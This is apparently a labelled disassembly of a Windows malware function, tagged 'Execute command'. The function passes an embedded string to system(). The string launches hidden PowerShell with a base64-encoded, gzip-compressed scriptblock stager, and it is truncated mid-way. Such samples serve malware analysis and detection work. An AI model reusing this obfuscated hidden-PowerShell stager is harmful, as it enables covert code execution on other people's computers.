Function at 0x401290
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a88
call fcn.00401740
and esp, 0xfffffff0
mov eax, 0
add eax, 0xf
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0x1a6c], eax
mov eax, dword [ebp - 0x1a6c]
call fcn.00401740
call sym.___main
lea ecx, [ebp - 0x1a68]
mov edx, str._COMSPEC___b__c_start__b__min_powershell.exe__nop__w_hidden__e_aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEASABlADUATgBHAFkAQwBBADcAMQBXAGIAVwAvAGEAUwBCAEQAKwBYAHEAbgAvAHcAYQBxAFEAYgBPAHMAYwBNAEkARwAyAFMAYQB7ADEAfQBLAFoAeABzAGMAYQBEAEMAQgBtAEoAYwBBAHsAMQB9AFoAVgAnACcAKwAnACcAagBMADMAagBEADIAZwB2ADIATwBvAFQAcgA5AGIALwBmAHIARgA4AEMAVQBjAGgAZAA3AHEAUwBlAHAAUwBqADIANwBzAHoAcwA3AEQAUABQAFAATQBNAGkAQwBWADIARwBhAFMAaQBRAHEAMAAzAHoAbwAvAEQAagAvAFQAcwBoAGYAMwBwAE8ANQBBAFMAQwBWAEgAcABzAFUAdgAyAHoASQBwAFEAMgA2ADQAOQAvAHkAUAB2AHQAMAB0ADMAMQB2AGYAQgBGAGsARwBiAGEAZQB0ADIAZwBnAFkAUABEACsAYwBXAEYAawBVAFEAewAxAH0AQwBsAG4AMgBYAGIANQBFAFQASQB0AGoARgBOAHcAewAxAH0AagBHAEoASgBGAHYAJwAnACsAJwAnADQAVQB4AGoANgBLADAATQBuADEAMwBUADEAeQBtAGYAQgBEAEsASAAwAHYAWAB4AEoANgA1ADUARABjAGIARwBjADQAcgBvACsARQBFAHkAMwAwACsARgA2AEgAdQBnADcAUAByAFcAeQB2AEMAVwBhAFMAKwBPADIAYgBLAE0AOQBPAHEAdgBOAHkAYwA1AE0ANABKAEoAWgBFAGUAeABjAHoARgBKAFEAOQBRAGsAewAxAH0AWgArAEMAbgB6AEEAdwBlADcATgBaAEoARQBDADcAcwB7ADEAfQBqAGUAbQBDAGwAYwBjADQAcgBKADIAVwBoADIASABzAEwARgAnACcAKwAnACcAQQBYAG8AagAwAGcAQwB6AEcAZgBlAHIARQBJAGQAOQBuAGYASgBrAEkAcwBpAGMATAAwAFUAagB4AEsAWgBpAE8ASgA4AE4AcQBMAHEASwB0ADUAWABvAFQAaQBXAEYAUwBFAEcAWQA4AC8AbQA4ADkALwAnACcAKwAnACcAbAAyAGIANQA0AFQAZABKAHkASABDAEEAeQB1ADIAUQBvAFkAaQB1AGIAewAxAH0AUQA5AFkAQgBmAEYANQBaAFkAVABlAGcAVABkAG8ATQBVAGMAdgBHAHcAVwA0AFgAQQA1AGwAMgBVAHcAZQA2AEEAcgBKAEoAWABDAGgAQgBCAEYAKwBEAGQAaABwAEMANwBhAEYAdABDADkAMQBVAGsANgBkAEEASwByAEgAbwB0AGsAQgBXAHIANgA4AHAAbwBXADkAewAxAH0ASwBDAE0AawBmAHgAUwBKADQAWgBEAFcAewAxAH0ANABDAGkAbwBBAGYAagA4ADUAaABJAHUAQwBRAGQANwA0ADgALwBjAGoAQgBOAG8AdgBGAE0AOABzADMAVQBHAFEAcwA5AFMAagBNAFUANgBkAHYAdwBpAHEASQBsAGgAdwB2AE0ATgBvAHQASQBQAFAAMABpAEIASwBrAEQAeAAvAFEAbAB3AG8AcgBjACsAVgB0ADgAYQBxAEYAbwA3AGMAYgBXAEIASABHAHEAegBOAHsAMQB9AGgAewAxAH0ANwA4ADMAMgBFAFoALwBVAHYAawBTAG8AMwBlAFoAMwBMAEQAYgBUAEEASQBXAHIAcwBRAGkAZgBBAGIAawBGAFgANgBWAGgATgAwAEkASwBnAEYASgBCAHkAWQBkAGEARgBCAEMAVQB4ADMAMABCAGUAQQB4AEcAMABkAEIAaQBIAG0AVgBQAGoAaABWAHMAegB3AE8AegBKAFYAMAA4AHcAOABWAEMAawB1AFYARABYAEcATABLAEMAawBzAHYAUABrADgAawBxAEoANABuAHQAMABFAEkAQgBZAEoAZAA5AEEAMQBkAEwAQwAyAGcAUwBWAEYAagBuAGoAYgBFAHIAVAAnACcAKwAnACcAdQBmAGYAWQBDAFEAYQB4AEkAbABqAHsAMQB9AGUAZwBsADAASwBXAHUASQB0AGoASQBJAGMAaABUAEIAQwAyAE0AYwBiADYAbABKAFkAeQBtAHIAKwBJACsAWABTAHMAaABEAEwAdABPAHoASQBwAHcAYwAvAGsAWgBtAFAAbQBoAEIAZwAxAGoARgBpAFUAdQAxAEIAUQBBAEcATgBoAHIANQBHAEsASABjAEQAdwBVAG8AWQBVADkAcABPADkAcwB2AEMAdwBPAEYANAArAGkAWQBUAGkARQBRAE8AOQBBAHAAQQAnACcAKwAnACcAZQBvAEIAcQB4AHcARgBHAHoARwBtAHsAMQB9AEoAQgBuAHMAQQBLAHUAVwB3AGoAMQBnADcAVwBCAEEAVgBnAGsAUwBxAEcAUwBaAHcAbAA2AEUAUABlAEgAeQBtAHgAbgBDACcAJwArACcAJwBYAHkAeABLAE4ASgBGAGwAMgBRAFUAWgA1AGoAVQBvAEIAeABrAEMASQBVADIAaQBhAFUASwBjAEkASQB7ADEAfQB3AHoAVQBoACsATwBiAE0AdQBzAC8AcABQAEIAUwBkAGkAQQBYAEkAMABKADUAVgBhAFMAaQBzADIAYgA2AGoAbgBIAHEAbAAzAHkARABrAHoAUAAnACcAKwAnACcASABKAGsAVQBpAFkAbwBDAEMARwBkAEYAQQBkADIATAAwAHEAWgA3AHAAaQAvAFMAaABjAG8AMQA3AEcAagB5AFQAZABrAGcAcwA3ACsAcwBLAFYAOQB0AGIAKwBMAFAAZwBiADIAZwB0AGYAdQB1ADQAZQBOAGwAagBLAGcAMABzADEANABoADcAbAArAGEAWgBoAHIAZgBMAHIAWAB2AFcAMQBWAHoAdgBxADQAZgBPADcAVgBHAGQAMgBjADAAMgBNADMAJwAnACsAJ
mov eax, 0x1a58
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sym._memcpy
lea eax, [ebp - 0x1a68]
mov dword [esp], eax
call sub.msvcrt.dll_system
leave
ret